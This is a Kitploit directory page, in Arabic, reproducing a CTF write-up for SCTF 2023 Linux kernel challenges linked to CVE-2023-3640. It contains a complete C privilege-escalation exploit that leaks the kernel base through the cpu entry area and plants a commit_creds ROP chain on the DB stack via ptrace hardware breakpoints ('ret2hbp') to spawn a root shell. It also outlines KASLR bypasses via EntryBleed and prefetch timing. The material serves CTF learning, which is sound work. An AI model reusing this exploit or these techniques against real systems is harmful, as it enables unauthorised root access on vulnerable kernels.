Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-3640 — SCTF 2023 kernel pwn && CVE-2023-3640 | Kitploit
أدوات/GitHubGitHub/pray77/cve-2023-3640
تحليل الثغرات الأمنيةالاستغلالCTFالتعلم والتعليماستغلال الملفات الثنائية
GitHubpray77/cve-2023-3640

CVE-2023-3640

SCTF 2023 kernel pwn && CVE-2023-3640

عرض المستودع
291منذ 3 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

SCTF2023_kernelpwn

SCTF 2023 kernel pwn

ملاحظة جانبية: إعلان، أنا طالب بكالوريوس متخرج عام 2024، أشارك في التوظيف الخريفي لهذا العام، مرحباً بالتواصل~

sycrop

تهدف هذه المسألة إلى اختبار نقطتين.

  1. تحتوي بداية منطقة mapping الخاصة بـ cpu entry area على عدة عناوين ذات إزاحة ثابتة من مقطع النص (text) للنواة، راجع الصورة أدناه للحصول على التفاصيل. هذه مجرد حيلة صغيرة، ظهرت لأول مرة في KCTF من Google، ثم ظهرت عدة مرات في المسابقات الدولية.

image

3Z(ZSS7$2V)YRPGD 7%KY

  1. من خلال وضع نقطة توقف عتادية (hardware breakpoint) في وضع المستخدم، يمكن دفع محتويات السجلات إلى مكدس DB الذي له إزاحة ثابتة بالنسبة إلى per cpu entry area. قبل Linux 6.2، لم تكن per cpu entry area عشوائية، وكان العنوان ثابتًا، لذلك يمكن تحقيق وسيلة لبناء سلسلة ROP في عنوان ثابت في النواة. هذه هي نقطة الابتكار في هذه المسألة، وقد أطلق عليها المؤلف مؤقتًا اسم "ret2hbp". التسمية只为方便大家描述 هذه التقنية، ولا يدعي المؤلف الأصالة. في الواقع، سحر تطور استغلال النواة كافٍ لجذب الانتباه، والعثور على صدفة على شاطئ البحر يجلب السعادة الكافية :)

للحصول على العناوين والإزاحات المحددة، راجع الـ exp، وآمل أن يقوم الأساتذة بتصحيح الأخطاء بأنفسهم.

root@kitploit:~
#define _GNU_SOURCE
#include <sched.h>
#include <sys/mman.h>
#include <pthread.h>
#include <semaphore.h>
#include <sys/ptrace.h>
#include <signal.h>
#include <sys/wait.h>
#include <stddef.h>
#include <asm/user_64.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/utsname.h>
#include <stdbool.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <fcntl.h>

void* map;
#define PAGE_SIZE 0x1000
pid_t hbp_pid;
unsigned long kernel_base;
unsigned long init_cred;
unsigned long commit_cred;
unsigned long pop_rdi;
unsigned long swapgs_restore_regs_and_return_to_usermode;

size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void teardown()
{
    kill(hbp_pid,9);
}

void create_hbp(void* addr)
{

    if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg), addr) == -1) {
        printf("Could not create hbp! ptrace dr0: %m\n");
        teardown();
        exit(1);
    }

    if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg) + 56, 0xf0101) == -1) {
        printf("Could not create hbp! ptrace dr7: %m\n");
        teardown();
        exit(1);
    }
}

void hbp_raw_fire()
{
    if(ptrace(PTRACE_CONT,hbp_pid,NULL,NULL) == -1)
        {
            printf("Failed to PTRACE_CONT: %m\n");
            teardown();
            exit(1);
        }
}
void getRootShell(void)
{   
    if(getuid()) {
        printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
        exit(-1);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. "
         "Execve root shell now...\033[0m");
    system("/bin/sh");
}
size_t getshelladdr = &getRootShell;
void init(unsigned cpu)
{
    cpu_set_t mask;
    map = mmap((void*) 0x0a000000,0x1000000,PROT_READ | PROT_WRITE,MAP_SHARED | MAP_ANONYMOUS | MAP_FIXED,0,0);
    switch(hbp_pid = fork())
    {
        case 0: //child
            //pin cpu

            CPU_ZERO(&mask);
            CPU_SET(cpu,&mask);
            sched_setaffinity(0,sizeof(mask),&mask);
            ptrace(PTRACE_TRACEME,0,NULL,NULL);
            raise(SIGSTOP);
            __asm__(
                "mov r15,   0xbeefdead;"
                "mov r14,   pop_rdi;"
                "mov r13,   init_cred;" // start at there
                "mov r12,   commit_cred;"
                "mov rbp,   swapgs_restore_regs_and_return_to_usermode;"
                "mov rbx,   0x77777777;"
                "mov r11,   0x77777777;"
                "mov r10,   getshelladdr;"
                "mov r9,    user_cs;"
                "mov r8,    user_rflags;"
                "mov rax,   user_sp;"
                "mov rcx,   user_ss;"
                "mov rdx,   0xcccccccc;"
                "mov rsi,   0xa000000;"
                "mov rdi,   [rsi];"
            );
            exit(1);
        case -1:
            printf("fork: %m\n");
            exit(1);
        default: //parent. Just exit switch
            break;
    }
    int status;
    //Watch for stop:
    puts("Waiting for child");
    while(waitpid(hbp_pid,&status,__WALL) != hbp_pid || !WIFSTOPPED(status))
    {
        sched_yield();
    }
    puts("Setting breakpoint");
    create_hbp(map);
}

int main()
{
    saveStatus();
    int fd = open("/dev/seven", O_RDWR);
    if(fd < 0) perror("Error open");
    unsigned long addr =  ioctl(fd,0x5555,0xfffffe0000000000+4);
    printf("0x%llx\n",addr-0x1008e00);
    kernel_base = addr-0x1008e00;
    init_cred = kernel_base + 0xffffffffbd64cbf8 - 0xffffffffbbc00000;
    commit_cred = kernel_base + 0xffffffffbbcbb5b0 - 0xffffffffbbc00000;
    pop_rdi = kernel_base + 0xffffffff81002c9d - 0xffffffff81000000;
    swapgs_restore_regs_and_return_to_usermode = kernel_base + 0xffffffff82000f01 - 0xffffffff81000000;
    init(1);
    hbp_raw_fire();
    waitpid(hbp_pid,NULL,__WALL);
    hbp_raw_fire();
    waitpid(hbp_pid,NULL,__WALL);
    ioctl(fd,0x6666,0xfffffe0000010f60);
}

sycrpg

في الواقع، هذه مجرد مسألة استغلال 1day، والفكرة الأساسية هي مقالة Google Project Zero هذه. كل ما فعله المؤلف هو تحويلها إلى مسألة CTF لتسهيل تعلم هذه الطريقة القوية والممتعة في الاستغلال، وتجربة سحر القدرة على الحصول على shell عن طريق كتابة بايت واحد فقط في عنوان واحد. https://googleprojectzero.blogspot.com/2022/12/exploiting-CVE-2022-42703-bringing-back-the-stack-attack.html?m=1

moonpray

هذه مسألة تتعلق بـ 0day لتسريب معلومات النواة، ومع ذلك يوجد حل غير متوقع (الفرق التي حلت كانت جميعها بحلول غير متوقعة).

المسألة هي نسخة محسّنة من sycrop مع إزالة جزء تسريب المعلومات، لأن الإصدار المستخدم هو 6.2، وقد تمت إضافة العشوائية إلى per cpu entry area.

  1. أولاً، لا بد من تسريب المعلومات، والنقطة هنا هي ثغرة CPU. لاحظ أن في سكريبت الإقلاع يوجد -enable-kvm و -cpu host، مما يعني استخدام وحدة المعالجة المركزية الفعلية. في الواقع، في معظم الحالات، تتأثر معالجات Intel بهذه الثغرة. راجع مقالة Entrybleed 1day (https://www.willsroot.io/2022/12/entrybleed.html#comment-form)، ويمكن استخدام السكريبت أعلاه للحصول على kaslr.

  2. بالنسبة لجزء ROP التالي، وفقًا لفكرة sycrop، يجب نقل المكدس إلى مكدس DB، ولكن في هذه المرحلة تمت إضافة العشوائية إلى per cpu entry area، وبالتالي فإن مكدس DB أصبح عشوائيًا أيضًا (يوجد في الإزاحة per cpu entry area + 0xf000). ولكن في الواقع، عند تمكين KPTI، لا يتم تعيين نقاط دخول استدعاءات النظام فقط إلى وضع المستخدم (entry_SYSCALL_64 من EntryBleed)، بل يتم أيضًا تعيين per cpu entry area، لذا يمكن الحصول على الإزاحة عن طريق حساب فارق الوقت باستخدام تعليمات الجلب المسبق. يجب انتظار موافقة الجهات المصنعة للإفصاح عن السكريبت المحدد (لكن في الواقع تم شرحه أعلاه وأعتقد أن الأساتذة يمكنهم تنفيذه).

  3. بخصوص الحل غير المتوقع، يمكن استخدام ret2dir في جزء ROP. هذا كان إغفالًا من المؤلف، فكرت في إمكانية ret2dir أثناء إعداد المسألة، ولكن بسبب ضيق الوقت، نسيت التعامل مع هذا الأمر بعد الانتهاء من الجزء الرئيسي. لكن لا بأس، على الأقل المسألة لها حل.

تنزيل الأداة